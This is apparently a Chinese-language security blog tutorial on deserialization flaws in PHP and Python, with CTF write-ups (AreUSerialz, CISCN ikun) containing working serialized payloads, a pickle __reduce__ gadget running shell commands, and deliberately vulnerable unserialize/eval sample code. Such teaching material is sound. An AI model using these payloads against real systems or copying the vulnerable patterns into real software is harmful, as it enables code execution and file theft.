之前一直有接触挺多反序列化的漏洞,但是自己一直没有很细心地学习这方面的东西,所以现在花时间分析一下php
、python
中的反序列化漏洞,其大体都是差不多的,部分代码来源互联网,有错误烦请各位师傅指正。
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
简单来说序列化就是把一个对象的数据和数据类型转成格式化字符串的过程,反序列化则是将这些格式化字符串转为对象形式的过程。因此面向对象的编程都会有概率可能存在反序列化漏洞。
0x01 PHP
魔术方法
在审计php反序列化
漏洞的时候需要着重注意几个典型的魔术方法:
函数 | 简介 |
---|---|
__sleep | serialize() 函数在执行时会检查是否存在一个__sleep 魔术方法,如果存在,则先被调用 |
__wakeup | unserialize() 函数执行时会检查是否存在一个__wakeup 方法,如果存在,则先被调用 |
__construct | 构造函数会在每次创建新对象时先调用 |
__destruct | 析构函数是php5 新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行 |
__toString | 当对象被当做字符串的时候会自动调用该函数 |
<?php class Student{public $name = 'zjun';public $age = '19';public function PrintVar(){echo 'name '.$this -> name . ', age ' . $this -> age . '
';}public function __construct(){echo "__construct
";}public function __destory(){echo "__destory
";}public function __toString(){return "__toString";}public function __sleep(){echo "__sleep
";return array('name', 'age');}public function __wakeup(){echo "__wakeup
";}}$obj = new Student();$obj -> age = 18;$obj -> name = 'reder';$obj -> PrintVar();echo $obj;$s_serialize = serialize($obj);echo $s_serialize.'
';$unseri = unserialize($s_serialize);$unseri -> PrintVar();?>
输出结果:
__construct
name reder, age 18
__toString__sleep
O:7:"Student":2:{s:4:"name";s:5:"reder";s:3:"age";i:18;}
__wakeup
name reder, age 18
在进行构造反序列化payload
时,可跟进以上几个比较典型的魔术变量进行深入挖掘。
一个例子
在php
中,序列化和反序列化一般用做应用缓存,比如session
缓存,cookie
等,或者是格式化数据存储,例如json
,xml
等。
一个很简单的序列化代码,如下:
<?php class Student{public $name = 'zjun';function GetName(){return 'zjun';}}$s = new Student();echo $s->GetName().'
';$s_serialize = serialize($s);echo $s_serialize;
一个Student
类,其中有一个name
属性和一个GetName
方法,然后实例化了Student
类的对象,输出调用GetName
这个类方法,然后serialize()
函数把对象转成字符串,也就是序列化,再输出序列化后的内容
输出结果:
zjun
O:7:"Student":1:{s:4:"name";s:4:"zjun";}
序列化的数据详解:
O
是object
表示对象,:
后边的内容为这个对象的属性,7
表示对象名称的长度,Student
就是对象名,1
表示对象有一个成员变量,就是{}
里面的东西,s
表示这个成员变量是一个str
字符串,他的长度为4
,后面跟着成员变量名,以及这个成员变量的数据类型,长度,内容。
这里代码只有一个public
属性,如果有protected
或者private
属性,在序列化的数据中也都会体现出来
<?php class Student{public $name = 'zjun';protected $age = '19';private $weight = '53';function GetName(){return 'zjun';}}$s = new Student();echo $s->GetName().'
';$s_serialize = serialize($s);echo $s_serialize;
输出:
zjun
O:7:"Student":3:{s:4:"name";s:4:"zjun";s:6:"*age";s:2:"19";s:15:"Studentweight";s:2:"53";}
可见public
类型直接是变量名,protected
类型有*
号,但是其长度为6
,是因为\x00+*+\x00+变量名
。同理private
类型会带上对象名,其长度是15
,\x00+类名+\x00+变量名
。
以上的这个过程就称为php序列化
,再看看反序列化:
<?php class Student{public $name = 'zjun';function GetName(){return 'zjun';}}$Student = 'O:7:"Student":1:{s:4:"name";s:4:"zjun";}';$s_unserialize = unserialize($Student);print_r($s_unserialize);?>
unserialize()
函数就是用来反序列化的函数,输出:
Student Object ( [name] => zjun )
一个Student
对象,其中name
成员变量等于zjun
,这就是反序列化,将格式化字符串转化为对象。
在这个过程中本来是挺正常的,在一些特殊情景下却能造成如rce
等漏洞,如
<?php class Student{var $a;function __construct() {echo '__construct';}function __destruct() {$this->a->action();echo 'one';}}class one {var $b;function action() {eval($this->b);}}$c = new Student();unserialize($_GET['a']);?>
代码有一个构造函数__construct
输出__construct
,在new
这个对象时自动调用,一个析构函数__destruct
将当我们传入的a
再传进one
对象中执行,构造代码:
<?php class Student {var $a;function __construct() {$this->a = new one();}}class one {var $b = "phpinfo();";}echo serialize(new Student());?>
输出:
O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}
成功触发。
实例:网鼎杯 2020 青龙组 AreUSerialz
<?php include("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]:
";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
这里需要读flag.php
文件,在process()
函数中,当op=2
时,read()
中的file_get_contents
就会执行,is_valid()
会判断传入的字符串是否为可打印字符,而原来的类修饰均为protected
,在序列化时会生成不可见的\x00
,但php7+
对类的属性类型不敏感,可直接把属性修饰为public
,成功绕过is_valid()
。
构造
<?php class FileHandler {public $op = 2;public $filename = "flag.php";public $content;}$a = new FileHandler();echo serialize($a)."\n";
传入
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
0x02 PYTHON
python
中序列化一般有两种方式:pickle
模块和json
模块,前者是python
特有的格式,后者是json
通用的格式。
以下均显示为python2
版本序列化输出结果,python3
的pickle.dumps
结果与python2
不一样。
pickle
import pickledict = {"name": 'zjun', "age": 19}a = pickle.dumps(dict)print(a, type(a))b = pickle.loads(a)print(b, type(b))
输出:
("(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'zjun'\np3\ns.", <type 'str'>)({'age': 19, 'name': 'zjun'}, <type 'dict'>)
json
import jsondict = {"name": 'zjun', "age": 19}a = json.dumps(dict, indent=4)print(a, type(a))b = json.loads(a)print(b, type(b))
其中indent=4
起到一个数据格式化输出的效果,当数据多了就显得更为直观,输出:
{"name": "zjun","age": 19} 'str'>{'name': 'zjun', 'age': 19} 'dict'>
再看看一个pickle
模块导致的安全问题
import pickleimport osclass obj(object):def __reduce__(self):a = 'whoami'return (os.system, (a, ))r = pickle.dumps(obj())print(r)pickle.loads(r)
通过构造__reduce__
可达到命令执行的目的,详见:Python魔法方法指南
先输出obj
对象的序列化结果,再将其反序列化,输出
cposix
system
p0(S'whoami'
p1
tp2
Rp3
.
zjun
成功执行了whoami
命令。
实例:CISCN2019 华北赛区 Day1 Web2 ikun
CISCN2019 华北赛区 Day1 Web2 ikun,前面的细节讲得很清楚了,这里接着看反序列化的考点。
第19
行处直接接收become
经url
解码与其反序列化的内容,存在反序列化漏洞,构造payload
读取flag.txt
文件:
import pickleimport urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())a = urllib.quote(a)print(a)
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
将生成的payload
传给become
即可。
再推荐一下大师傅的python
反序列化漏洞挖掘。
作者:zjun 文章来源:先知社区
关注公众号:HACK之道